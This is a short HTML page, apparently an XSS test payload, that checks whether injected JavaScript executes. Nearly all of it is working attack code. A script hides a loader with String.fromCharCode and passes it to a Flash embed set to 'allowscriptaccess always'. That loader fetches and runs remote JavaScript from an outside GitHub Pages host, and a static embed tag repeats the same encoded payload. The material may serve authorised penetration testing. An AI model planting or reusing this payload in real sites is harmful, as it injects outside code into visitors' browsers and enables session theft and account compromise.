If data shows up here after the 1 second delay, that means the JS was executed.
<script>
(function () {
let payload = `String.fromCharCode(${"var s=document.createElement('script'); s.src='https://defektive.github.io/xss/dist/xss.js'; document.body.appendChild(s)".split('').map(function (e){return e.charCodeAt(0)}).join(',')})`
let t = new Date().getTime();
let embed = document.createElement('embed');
embed.setAttribute('height', '400');
embed.setAttribute('width', '400');
embed.setAttribute('allowscriptaccess', 'always');
embed.setAttribute('src', 'https://defektive.github.io/xss/dist/xss.swf?t='+t + '&p='+ payload);
document.body.appendChild(embed);
})();
</script>
<embed height="400" width="400" allowscriptaccess="always" src="https://defektive.github.io/xss/dist/xss.swf?t=1548861488287&p=String.fromCharCode(118,97,114,32,115,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,100,101,102,101,107,116,105,118,101,46,103,105,116,104,117,98,46,105,111,47,120,115,115,47,100,105,115,116,47,120,115,115,46,106,115,39,59,32,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41)">